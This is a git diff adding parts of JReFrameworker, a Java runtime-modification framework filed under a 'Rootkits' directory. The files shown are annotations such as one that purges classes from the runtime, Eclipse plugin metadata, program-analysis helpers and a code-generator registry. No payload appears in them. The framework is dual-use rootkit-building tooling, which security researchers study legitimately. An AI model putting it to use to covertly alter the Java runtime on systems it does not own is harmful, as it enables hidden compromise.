Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/types/PurgeType.java new file mode 100644 index 0000000..e808749 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/types/PurgeType.java @@ -0,0 +1,24 @@ +package com.jreframeworker.annotations.types; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +// this annotation is valid for types +@Target({ ElementType.TYPE }) + +// annotation will be recorded in the class file by the compiler, +// but won't be retained by the VM at run time (invisible annotation) +@Retention(RetentionPolicy.CLASS) + +/** + * Indicates the annotated type (class, abstract class, interface) should be + * purged from the runtime. Ignores all other JReFrameworker annotations. + * + * @author Ben Holland + */ +public @interface PurgeType { + int phase() default 1; + String type(); +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/types/PurgeTypes.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/types/PurgeTypes.java new file mode 100644 index 0000000..034c7e9 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/types/PurgeTypes.java @@ -0,0 +1,17 @@ +package com.jreframeworker.annotations.types; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +//this annotation is valid for types +@Target({ ElementType.TYPE }) + +//annotation will be recorded in the class file by the compiler, +//but won't be retained by the VM at run time (invisible annotation) +@Retention(RetentionPolicy.CLASS) + +public @interface PurgeTypes { + PurgeType[] value(); +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas.feature/.project b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas.feature/.project new file mode 100644 index 0000000..94b0d64 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas.feature/.project @@ -0,0 +1,17 @@ + + + com.jreframeworker.atlas.feature + + + + + + org.eclipse.pde.FeatureBuilder + + + + + + org.eclipse.pde.FeatureNature + + diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas.feature/build.properties b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas.feature/build.properties new file mode 100644 index 0000000..64f93a9 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas.feature/build.properties @@ -0,0 +1 @@ +bin.includes = feature.xml diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas.feature/feature.xml b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas.feature/feature.xml new file mode 100644 index 0000000..3ba535d --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas.feature/feature.xml @@ -0,0 +1,55 @@ + + + + + The JReFrameworker Atlas program analysis integrations add the ability to programmatically develop JReFrameworker modules. + + + + Copyright 2017 Ben Holland + + + + The MIT License (MIT) + +Copyright (c) 2017 Ben Holland + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. + + + + + + + + + + + + diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/.classpath b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/.classpath new file mode 100644 index 0000000..d41e18b --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/.classpath @@ -0,0 +1,8 @@ + + + + + + + + diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/.gitignore b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/.gitignore new file mode 100644 index 0000000..ae3c172 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/.gitignore @@ -0,0 +1 @@ +/bin/ diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/.project b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/.project new file mode 100644 index 0000000..3a795bc --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/.project @@ -0,0 +1,28 @@ + + + com.jreframeworker.atlas + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/.settings/org.eclipse.jdt.core.prefs b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..0c68a61 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,7 @@ +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.8 +org.eclipse.jdt.core.compiler.compliance=1.8 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.8 diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/META-INF/MANIFEST.MF b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/META-INF/MANIFEST.MF new file mode 100644 index 0000000..de90bb9 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/META-INF/MANIFEST.MF @@ -0,0 +1,26 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: JReFrameworker Atlas Integrations +Bundle-SymbolicName: com.jreframeworker.atlas;singleton:=true +Bundle-Version: 1.3.1.qualifier +Bundle-RequiredExecutionEnvironment: JavaSE-1.8 +Require-Bundle: + org.eclipse.ui;visibility:=reexport, + org.eclipse.core.runtime;visibility:=reexport, + org.eclipse.core.resources;visibility:=reexport, + org.eclipse.core.filesystem;visibility:=reexport, + org.eclipse.swt;visibility:=reexport, + org.eclipse.ui.ide;visibility:=reexport, + org.eclipse.jdt.core, + com.ensoftcorp.atlas.core;bundle-version="3.3.1";visibility:=reexport, + com.ensoftcorp.atlas.ui;bundle-version="3.1.7";visibility:=reexport, + com.jreframeworker;bundle-version="1.3.1";visibility:=reexport, + com.jreframeworker.engine;bundle-version="1.3.1";visibility:=reexport, + com.jreframeworker.annotations;bundle-version="1.3.1";visibility:=reexport, + support.com.squareup.javapoet;bundle-version="1.8.0";visibility:=reexport +Bundle-ActivationPolicy: lazy +Bundle-Activator: com.jreframeworker.atlas.Activator +Export-Package: com.jreframeworker.atlas.analysis, + com.jreframeworker.atlas.projects +Bundle-ClassPath: ., + swing2swt.jar diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/build.properties b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/build.properties new file mode 100644 index 0000000..5b784ca --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/build.properties @@ -0,0 +1,6 @@ +source.. = src/ +output.. = bin/ +bin.includes = META-INF/,\ + icons/,\ + plugin.xml,\ + . diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/icons/JReFrameworker.gif b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/icons/JReFrameworker.gif new file mode 100644 index 0000000..755ce01 Binary files /dev/null and b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/icons/JReFrameworker.gif differ diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/plugin.xml b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/plugin.xml new file mode 100644 index 0000000..5770a9d --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/plugin.xml @@ -0,0 +1,37 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/schema/com.jreframeworker.atlas.codegen.exsd b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/schema/com.jreframeworker.atlas.codegen.exsd new file mode 100644 index 0000000..b64f70d --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/schema/com.jreframeworker.atlas.codegen.exsd @@ -0,0 +1,110 @@ + + + + + + + + + This extension point allows plugins to contribute code generator specifications to JReFrameworker. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + [Enter the first release in which this extension point appears.] + + + + + + + + + [Enter extension point usage example here.] + + + + + + + + + [Enter API information here.] + + + + + + + + + [Enter information about supplied implementation of this extension point.] + + + + + + + + + EnSoft Corp. 2017 + + + + diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/Activator.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/Activator.java new file mode 100644 index 0000000..4f6ff4c --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/Activator.java @@ -0,0 +1,53 @@ +package com.jreframeworker.atlas; + +import org.eclipse.ui.plugin.AbstractUIPlugin; +import org.osgi.framework.BundleContext; + +/** + * The activator class controls the plug-in life cycle + */ +public class Activator extends AbstractUIPlugin { + + // The plug-in ID + public static final String PLUGIN_ID = "com.jreframeworker.atlas"; //$NON-NLS-1$ + + // plugin extensions + public static final String PLUGIN_CODE_GENERATOR_EXTENSION_ID = "com.jreframeworker.atlas.codegen"; //$NON-NLS-1$ + + // The shared instance + private static Activator plugin; + + /** + * The constructor + */ + public Activator() { + } + + /* + * (non-Javadoc) + * @see org.eclipse.ui.plugin.AbstractUIPlugin#start(org.osgi.framework.BundleContext) + */ + public void start(BundleContext context) throws Exception { + super.start(context); + plugin = this; + } + + /* + * (non-Javadoc) + * @see org.eclipse.ui.plugin.AbstractUIPlugin#stop(org.osgi.framework.BundleContext) + */ + public void stop(BundleContext context) throws Exception { + plugin = null; + super.stop(context); + } + + /** + * Returns the shared instance + * + * @return the shared instance + */ + public static Activator getDefault() { + return plugin; + } + +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/analysis/ClassAnalysis.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/analysis/ClassAnalysis.java new file mode 100644 index 0000000..c8cb391 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/analysis/ClassAnalysis.java @@ -0,0 +1,53 @@ +package com.jreframeworker.atlas.analysis; + +import com.ensoftcorp.atlas.core.db.graph.Node; +import com.ensoftcorp.atlas.core.db.set.AtlasSet; +import com.ensoftcorp.atlas.core.script.Common; +import com.ensoftcorp.atlas.core.xcsg.XCSG; + +public class ClassAnalysis { + + /** + * Returns true if the given class is marked final + * @param clazz + * @return + */ + public static boolean isFinal(Node clazz){ + return clazz.taggedWith(XCSG.Java.finalClass); + } + + /** + * Returns true if the given class is marked public + * @param clazz + * @return + */ + public static boolean isPublic(Node clazz){ + return clazz.taggedWith(XCSG.publicVisibility); + } + + /** + * Returns the name of the given class + * @param clazz + * @return + */ + public static String getName(Node clazz){ + return clazz.getAttr(XCSG.name).toString(); + } + + /** + * Returns the package name that contains the given class + * @param clazz + * @return + */ + public static String getPackage(Node clazz){ + AtlasSet pkgs = Common.toQ(clazz).containers().nodesTaggedWithAny(XCSG.Package).eval().nodes(); + if(pkgs.isEmpty()){ + throw new IllegalArgumentException("Class is not contained in a package!"); + } else if(pkgs.size() > 1){ + throw new IllegalArgumentException("Class is not contained in multiple packages!"); + } else { + return pkgs.one().getAttr(XCSG.name).toString(); + } + } + +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/analysis/MethodAnalysis.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/analysis/MethodAnalysis.java new file mode 100644 index 0000000..cd5012b --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/analysis/MethodAnalysis.java @@ -0,0 +1,322 @@ +package com.jreframeworker.atlas.analysis; + +import java.util.ArrayList; + +import javax.lang.model.element.Modifier; + +import com.ensoftcorp.atlas.core.db.graph.Node; +import com.ensoftcorp.atlas.core.query.Attr; +import com.ensoftcorp.atlas.core.query.Q; +import com.ensoftcorp.atlas.core.script.Common; +import com.ensoftcorp.atlas.core.script.CommonQueries; +import com.ensoftcorp.atlas.core.xcsg.XCSG; + +public class MethodAnalysis { + + /** + * Returns the class that owns the given method + * @param method + * @return + */ + public static Node getOwnerClass(Node method) { + return Common.toQ(method).parent().eval().nodes().one(); + } + + /** + * Returns true if the given method is marked final + * @param clazz + * @return + */ + public static boolean isFinal(Node method){ + return method.taggedWith(XCSG.Java.finalMethod); + } + + /** + * Returns true if the given method is marked public + * @param clazz + * @return + */ + public static boolean isPublic(Node method){ + return method.taggedWith(XCSG.publicVisibility); + } + + /** + * Returns true if the given method is marked protected + * @param clazz + * @return + */ + public static boolean isProtected(Node method){ + return method.taggedWith(XCSG.protectedPackageVisibility); + } + + /** + * Returns true if the given method is marked private + * @param clazz + * @return + */ + public static boolean isPrivate(Node method){ + return method.taggedWith(XCSG.privateVisibility); + } + + /** + * Returns true if the given method is marked static + * @param clazz + * @return + */ + public static boolean isStatic(Node method){ + return method.taggedWith(Attr.Node.IS_STATIC); // TODO: figure out XCSG equivalent + } + + /** + * Returns the name of the given method + * @param clazz + * @return + */ + public static String getName(Node method){ + return method.getAttr(XCSG.name).toString(); + } + + public static Modifier[] getModifiers(Node method){ + ArrayList modifiers = new ArrayList(); + + if(isPublic(method)){ + modifiers.add(Modifier.PUBLIC); + } + + if(isProtected(method)){ + modifiers.add(Modifier.PROTECTED); + } + + if(isPrivate(method)){ + modifiers.add(Modifier.PRIVATE); + } + + if(isStatic(method)){ + modifiers.add(Modifier.STATIC); + } + + // TODO: consider other modifiers... + + Modifier[] result = new Modifier[modifiers.size()]; + modifiers.toArray(result); + return result; + } + + // TODO: consider ordering + // TODO: need to consider generics? + public static Parameter[] getParameters(Node method){ + ArrayList parameters = new ArrayList(); + + Q parameterNodes = Common.toQ(method).children().nodes(XCSG.Parameter); + Q typeOfEdges = Common.universe().edges(XCSG.TypeOf); + + for(Node parameterNode : parameterNodes.eval().nodes()){ + Node parameterType = typeOfEdges.successors(Common.toQ(parameterNode)).eval().nodes().one(); + + ArrayList modifiers = new ArrayList(); + if(parameterType.taggedWith(Attr.Node.IS_FINAL)){ // TODO: replace with XCSG equivalent + modifiers.add(Modifier.FINAL); + } + Modifier[] parameterModifiers = new Modifier[modifiers.size()]; + modifiers.toArray(parameterModifiers); + + String parameterName = parameterNode.getAttr(XCSG.name).toString(); + + // TODO: test this logic.. + if(parameterType.taggedWith(XCSG.ArrayType)){ + int arrayDimension = Integer.parseInt(parameterType.getAttr(XCSG.Java.arrayTypeDimension).toString()); + Q arrayElementTypeEdges = Common.universe().edges(XCSG.ArrayElementType); + parameterType = arrayElementTypeEdges.successors(Common.toQ(parameterType)).eval().nodes().one(); + String qualifiedParameterType = getQualifiedType(parameterType); + parameters.add(new Parameter(parameterModifiers, qualifiedParameterType, parameterName, arrayDimension)); + } else { + String qualifiedParameterType = getQualifiedType(parameterType); + parameters.add(new Parameter(parameterModifiers, qualifiedParameterType, parameterName)); + } + } + + Parameter[] result = new Parameter[parameters.size()]; + parameters.toArray(result); + return result; + } + + private static String getPrimitiveType(Node parameterType) { + if(parameterType.getAttr(XCSG.name).toString().equals("byte")){ + return (byte.class).getName(); + } else if(parameterType.getAttr(XCSG.name).toString().equals("char")){ + return (char.class).getName(); + } else if(parameterType.getAttr(XCSG.name).toString().equals("short")){ + return (short.class).getName(); + } else if(parameterType.getAttr(XCSG.name).toString().equals("int")){ + return (int.class).getName(); + } else if(parameterType.getAttr(XCSG.name).toString().equals("long")){ + return (long.class).getName(); + } else if(parameterType.getAttr(XCSG.name).toString().equals("float")){ + return (float.class).getName(); + } else if(parameterType.getAttr(XCSG.name).toString().equals("double")){ + return (double.class).getName(); + } else if(parameterType.getAttr(XCSG.name).toString().equals("boolean")){ + return (boolean.class).getName(); + } else if(parameterType.getAttr(XCSG.name).toString().equals("void")){ + return (void.class).getName(); + } + throw new IllegalArgumentException("Not a primitive type"); + } + + @SuppressWarnings("rawtypes") + public static class Parameter { + private Modifier[] modifiers; + private String type; + private String name; + private int arrayDimension = 0; + private Class primitive = null; + + public Parameter(Modifier[] modifiers, String type, String name, int arrayDimension) { + this(modifiers, type, name); + if(arrayDimension > 0){ + this.arrayDimension = arrayDimension; + } + } + + public Parameter(Modifier[] modifiers, String type, String name) { + this.modifiers = modifiers; + this.type = type; + this.name = name; + if(type.equals((byte.class).getName())){ + this.primitive = byte.class; + } else if(type.equals((char.class).getName())){ + this.primitive = char.class; + } else if(type.equals((short.class).getName())){ + this.primitive = short.class; + } else if(type.equals((int.class).getName())){ + this.primitive = int.class; + } else if(type.equals((long.class).getName())){ + this.primitive = long.class; + } else if(type.equals((float.class).getName())){ + this.primitive = float.class; + } else if(type.equals((double.class).getName())){ + this.primitive = double.class; + } else if(type.equals((boolean.class).getName())){ + this.primitive = boolean.class; + } else if(type.equals((void.class).getName())){ + this.primitive = void.class; + } + } + + public Modifier[] getModifiers() { + return modifiers; + } + + public String getType() { + return type; + } + + public String getName() { + return name; + } + + public boolean isArray(){ + return arrayDimension != 0; + } + + public boolean isPrimitive(){ + return primitive != null; + } + + public Class getPrimitive(){ + return primitive; + } + + } + + @SuppressWarnings("rawtypes") + public static class Return { + private String type; + private int arrayDimension = 0; + private Class primitive = null; + + public Return(String type, int arrayDimension) { + this(type); + if(arrayDimension > 0){ + this.arrayDimension = arrayDimension; + } + } + + public Return(String type) { + this.type = type; + if(type.equals((byte.class).getName())){ + this.primitive = byte.class; + } else if(type.equals((char.class).getName())){ + this.primitive = char.class; + } else if(type.equals((short.class).getName())){ + this.primitive = short.class; + } else if(type.equals((int.class).getName())){ + this.primitive = int.class; + } else if(type.equals((long.class).getName())){ + this.primitive = long.class; + } else if(type.equals((float.class).getName())){ + this.primitive = float.class; + } else if(type.equals((double.class).getName())){ + this.primitive = double.class; + } else if(type.equals((boolean.class).getName())){ + this.primitive = boolean.class; + } else if(type.equals((void.class).getName())){ + this.primitive = void.class; + } + } + + public boolean isPrimitive(){ + return primitive != null; + } + + public Class getPrimitive(){ + return primitive; + } + + public String getType() { + return type; + } + + public boolean isArray(){ + return arrayDimension != 0; + } + } + + public static Return getReturnType(Node method) { + Q returnsEdges = Common.universe().edgesTaggedWithAny(XCSG.Returns).retainEdges(); + Q voidMethods = returnsEdges.predecessors(Common.types("void")); + if(!CommonQueries.isEmpty(Common.toQ(method).intersection(voidMethods))){ + return new Return((void.class).getName()); + } else { + // TODO: there should only ever be one right? + Q returnTypes = returnsEdges.successors(Common.toQ(method)); + Q superTypeEdges = Common.universe().edges(XCSG.Supertype); + // just being super safe here...might not even be necessary.... + // TODO: error logging if theres more than one + Node returnType = returnTypes.induce(superTypeEdges).roots().eval().nodes().one(); + + // TODO: test this logic.. + if(returnType.taggedWith(XCSG.ArrayType)){ + int arrayDimension = Integer.parseInt(returnType.getAttr(XCSG.Java.arrayTypeDimension).toString()); + Q arrayElementTypeEdges = Common.universe().edges(XCSG.ArrayElementType); + returnType = arrayElementTypeEdges.successors(Common.toQ(returnType)).eval().nodes().one(); + String qualifiedReturnType = getQualifiedType(returnType); + return new Return(qualifiedReturnType, arrayDimension); + } else { + String qualifiedReturnType = getQualifiedType(returnType); + return new Return(qualifiedReturnType); + } + } + } + + private static String getQualifiedType(Node returnType) { + String qualifiedReturnType; + if(returnType.taggedWith(XCSG.Primitive)){ + qualifiedReturnType = getPrimitiveType(returnType); + } else { + qualifiedReturnType = ClassAnalysis.getPackage(returnType) + "." + ClassAnalysis.getName(returnType); + } + return qualifiedReturnType; + } + +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/CodeGenerator.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/CodeGenerator.java new file mode 100644 index 0000000..b8736e2 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/CodeGenerator.java @@ -0,0 +1,142 @@ +package com.jreframeworker.atlas.codegen; + +import java.io.File; +import java.util.ArrayList; +import java.util.Set; + +import com.ensoftcorp.atlas.core.query.Q; +import com.ensoftcorp.atlas.core.script.CommonQueries; +import com.jreframeworker.core.JReFrameworkerProject; + +public abstract class CodeGenerator { + + private static String SUPPORTS_NOTHING = "SUPPORTS_NOTHING"; + private static String SUPPORTS_EVERYTHING = "SUPPORTS_EVERYTHING"; + + protected static String[] EVERYTHING = { SUPPORTS_EVERYTHING }; + protected static String[] NOTHING = { SUPPORTS_NOTHING }; + + /** + * Returns the name of the code generator + * @return + */ + public abstract String getName(); + + /** + * Returns the code generator category + * @return + */ + public abstract String getCategory(); + + /** + * Returns a description of the code generator + * @return + */ + public abstract String getDescription(); + + /** + * The set of supported node tags that this filter can operate on + * @return + */ + protected abstract String[] getSupportedNodeTags(); + + /** + * The set of supported edge tags that this filter can operate on + * @return + */ + protected abstract String[] getSupportedEdgeTags(); + + /** + * Generates code for the given input + * Returns the set of generate source code files + * @param input + */ + public abstract Set generateCode(JReFrameworkerProject jrefProject, Q input); + + /** + * Returns true if the input contains supported edges or nodes + * @param input + * @return + */ + public boolean isApplicableTo(Q input){ + return !CommonQueries.isEmpty(getSupportedInput(input)); + } + + /** + * Returns the supported edges and nodes + * @param input + * @return + */ + public Q getSupportedInput(Q input){ + String[] supportedEdgeTags = getSupportedEdgeTags(); + ArrayList edgeTagsToKeep = new ArrayList(); + if(supportedEdgeTags != null){ + for(String tag : supportedEdgeTags){ + if(tag.equals(SUPPORTS_EVERYTHING)){ + edgeTagsToKeep.clear(); + break; + } else if(tag.equals(SUPPORTS_NOTHING)){ + input = input.retainNodes(); + } else { + edgeTagsToKeep.add(tag); + } + } + if(!edgeTagsToKeep.isEmpty()){ + String[] tags = new String[edgeTagsToKeep.size()]; + edgeTagsToKeep.toArray(tags); + Q edgesWithTags = input.edgesTaggedWithAny(tags); + Q edgesWithoutTags = input.difference(edgesWithTags); + input = input.difference(edgesWithoutTags); + } + } + + String[] supportedNodeTags = getSupportedNodeTags(); + ArrayList nodeTagsToKeep = new ArrayList(); + if(supportedNodeTags != null){ + for(String tag : supportedNodeTags){ + if(tag.equals(SUPPORTS_EVERYTHING)){ + nodeTagsToKeep.clear(); + break; + } else if(tag.equals(SUPPORTS_NOTHING)){ + input = input.retainEdges(); + } else { + nodeTagsToKeep.add(tag); + } + } + if(!nodeTagsToKeep.isEmpty()){ + String[] tags = new String[nodeTagsToKeep.size()]; + nodeTagsToKeep.toArray(tags); + Q nodesWithTags = input.nodesTaggedWithAny(tags); + Q nodesWithoutTags = input.difference(nodesWithTags); + input = input.difference(nodesWithoutTags); + } + } + + return input; + } + + @Override + public int hashCode() { + final int prime = 31; + int result = 1; + result = prime * result + ((getName() == null) ? 0 : getName().hashCode()); + return result; + } + + @Override + public boolean equals(Object obj) { + if (this == obj) + return true; + if (obj == null) + return false; + if (getClass() != obj.getClass()) + return false; + CodeGenerator other = (CodeGenerator) obj; + if (getName() == null) { + if (other.getName() != null) + return false; + } else if (!getName().equals(other.getName())) + return false; + return true; + } +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/CodeGenerators.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/CodeGenerators.java new file mode 100644 index 0000000..cb3a817 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/CodeGenerators.java @@ -0,0 +1,121 @@ +package com.jreframeworker.atlas.codegen; + +import java.util.Collections; +import java.util.HashMap; +import java.util.HashSet; +import java.util.Map; +import java.util.Set; + +import org.eclipse.core.runtime.CoreException; +import org.eclipse.core.runtime.IConfigurationElement; +import org.eclipse.core.runtime.IExtensionRegistry; +import org.eclipse.core.runtime.Platform; + +import com.ensoftcorp.atlas.core.query.Q; +import com.jreframeworker.atlas.Activator; +import com.jreframeworker.atlas.log.Log; + +public class CodeGenerators { + + private static Set ALL_CODE_GENERATORS = Collections.synchronizedSet(new HashSet()); + private static Map> CATEGORIZED_CODE_GENERATORS = Collections.synchronizedMap(new HashMap>()); + + /** + * Returns a copy of the currently registered code generators + * + * @return + */ + public static Set getRegisteredCodeGenerators() { + HashSet codeGenerators = new HashSet(); + for (CodeGenerator codeGenerator : ALL_CODE_GENERATORS) { + codeGenerators.add(codeGenerator); + } + return codeGenerators; + } + + /** + * Returns the registered code generator categories + * @return + */ + public static Set getRegisteredCodeGeneratorCategories() { + Set categories = new HashSet(); + for(CodeGenerator codeGenerator : getRegisteredCodeGenerators()){ + categories.add(codeGenerator.getCategory()); + } + return categories; + } + + /** + * Returns the registered code generators for a given category + * @param category + * @return + */ + public static Set getCodeGeneratorsForCategory(String category) { + Set codeGenerators = CATEGORIZED_CODE_GENERATORS.get(category); + if(codeGenerators != null){ + return new HashSet(codeGenerators); + } else { + return new HashSet(); + } + } + + public static Set getApplicableCodeGenerators(Q input) { + Set applicableCodeGenerators = new HashSet(); + // find the applicable code generators + for(CodeGenerator codeGenerator : CodeGenerators.getRegisteredCodeGenerators()){ + if(codeGenerator.isApplicableTo(input)){ + applicableCodeGenerators.add(codeGenerator); + } + } + return applicableCodeGenerators; + } + + /** + * Registers the contributed plugin code generator definitions + */ + public static void loadCodeGeneratorContributions() { + IExtensionRegistry registry = Platform.getExtensionRegistry(); + IConfigurationElement[] config = registry.getConfigurationElementsFor(Activator.PLUGIN_CODE_GENERATOR_EXTENSION_ID); + try { + for (IConfigurationElement element : config) { + final Object o = element.createExecutableExtension("class"); + if (o instanceof CodeGenerator) { + CodeGenerator codeGenerator = (CodeGenerator) o; + registerCodeGenerator(codeGenerator); + } + } + } catch (CoreException e) { + Log.error("Error loading code generators.", e); + } + } + + /** + * Registers a new codeGenerator + * + * @param codeGenerator + */ + private static synchronized void registerCodeGenerator(CodeGenerator codeGenerator) { + ALL_CODE_GENERATORS.add(codeGenerator); + if(CATEGORIZED_CODE_GENERATORS.containsKey(codeGenerator.getCategory())){ + CATEGORIZED_CODE_GENERATORS.get(codeGenerator.getCategory()).add(codeGenerator); + } else { + Set codeGenerators = new HashSet(); + codeGenerators.add(codeGenerator); + CATEGORIZED_CODE_GENERATORS.put(codeGenerator.getCategory(), codeGenerators); + } + } + + /** + * Unregisters a codeGenerator + * + * @param codeGenerator + */ + @SuppressWarnings("unused") + private static synchronized void unregisterCodeGenerator(CodeGenerator codeGenerator) { + ALL_CODE_GENERATORS.remove(codeGenerator); + if(CATEGORIZED_CODE_GENERATORS.containsKey(codeGenerator.getCategory())){ + CATEGORIZED_CODE_GENERATORS.get(codeGenerator.getCategory()).remove(codeGenerator); + } + } + +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/field/DefineField.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/field/DefineField.java new file mode 100644 index 0000000..f12a435 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/field/DefineField.java @@ -0,0 +1,37 @@ +package com.jreframeworker.atlas.codegen.generators.field; + +import java.io.File; +import java.util.Set; + +import com.ensoftcorp.atlas.core.query.Q; +import com.ensoftcorp.atlas.core.xcsg.XCSG; +import com.jreframeworker.atlas.projects.JReFrameworkerAtlasProject; +import 